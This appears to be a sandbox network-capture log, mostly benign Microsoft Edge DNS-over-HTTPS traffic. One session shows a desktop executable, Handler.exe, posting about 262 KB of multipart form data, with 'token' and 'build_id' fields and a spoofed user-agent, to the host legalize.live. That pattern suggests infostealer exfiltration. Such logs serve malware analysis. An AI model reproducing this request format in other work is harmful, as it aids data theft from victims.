2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 01 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0b d5 00 34 04 73 74 61 72 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 08 64 65 6c 69 76 65 72 79 c0 33 c0 52 00 05 00 01 00 00 36 05 00 26 11 63 64 70 2d 66 2d 73 73 6c 2d 74 6c 75 2d 6e 65 74 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 92 00 05 00 01 00 00 00 81 00 38 04 73 74 61 72 02 73 62 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 09 65 64 67 65 73 75 69 74 65 03 6e 65 74 00 c0 c4 00 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcomA4starsftludldeliverympmicrosoftcomdelivery3R6&cdp-f-ssl-tlu-nettrafficmanagernet8starsbtludldeliverympmicrosoftcomedgesuitenet

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49888	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA)QM
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833794d49558a-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d f6 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 4f 00 06 00 01 00 00 00 d6 00 23 03 6e 73 31 c0 4f 06 6d 73 6e 68 73 74 c0 11 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 3d 00 0c 01 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA-edge-microsoft-comdual-a-0036a-msedgenetO#ns1Omsnhstx+"$)=9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49887	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028337969968c1b-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0e 01 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 2d 00 02 c0 43 c0 43 00 01 00 01 00 00 00 2d 00 04 0d 6b 15 ef c0 43 00 01 00 01 00 00 00 2d 00 04 cc 4f c5 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0-CC-kC-O)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49892	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA)@<
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028337a2e441891-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0c 86 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 01 00 00 27 0e 70 72 6f 64 2d 61 67 69 63 2d 77 75 2d 32 06 77 65 73 74 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 82 00 06 00 01 00 00 00 10 00 30 06 6e 73 31 2d 30 32 09 61 7a 75 72 65 2d 64 6e 73 c0 2c 06 6d 73 6e 68 73 74 c0 22 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 f3 00 0c 00 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA&prod-atm-wds-edgetrafficmanagernetA'prod-agic-wu-2westuscloudappazure,0ns1-02azure-dns,msnhst"',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49891	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom)@<
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028337a2e2b558a-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0e 00 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 01 1c 00 2a 0e 70 72 6f 64 2d 61 67 69 63 2d 63 75 2d 33 09 63 65 6e 74 72 61 6c 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 73 00 01 00 01 00 00 00 07 00 04 04 96 9b df 00 00 29 04 d0 00 00 00 00 01 1c 00 0c 01 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom&prod-atm-wds-edgetrafficmanagernetA*prod-agic-cu-3centraluscloudappazure,s)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49914	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet)EA
2025-01-15 19:16:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283380bb7f5e73-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 05 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 06 23 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0d 2b 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 2a 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 8d 00 05 00 01 00 00 00 2a 00 02 c0 9b c0 9b 00 01 00 01 00 00 00 2a 00 04 0d 6b f6 28 00 00 29 04 d0 00 00 00 00 00 f2 00 0c 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet#edgeassetserviceafd<+"azureedge-t-prodtrafficmanager'_,sheddual-lows-part-0012t-0009t-msedge'*k()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49915	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetA)EA
2025-01-15 19:16:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283380dd27c346-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 01 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 41 00 01 c0 0c 00 05 00 01 00 00 06 ea 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0d f2 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 1e 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 ae 00 06 00 01 00 00 00 1e 00 30 03 6e 73 31 c0 ae 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 78 3a 8c fd 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetAedgeassetserviceafd<"azureedge-t-prodtrafficmanager'_,sheddual-lows-part-0012t-0009t-msedge'0ns1msnhstmicrosoftcomx:$<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49919	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:36 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2dtjeus2dtrqqimozmym User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 64 74 6a 65 75 73 32 64 74 72 71 71 69 6d 6f 7a 6d 79 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 32 64 74 6a 65 75 73 32 64 74 72 71 71 69 6d 6f 7a 6d 79 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 32 64 74 6a 65 75 73 32 64 74 72 71 71 69 6d 6f 7a 6d 79 6d 0d 0a 43 6f 6e 74 Data Ascii: ------2dtjeus2dtrqqimozmymContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------2dtjeus2dtrqqimozmymContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------2dtjeus2dtrqqimozmymCont
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
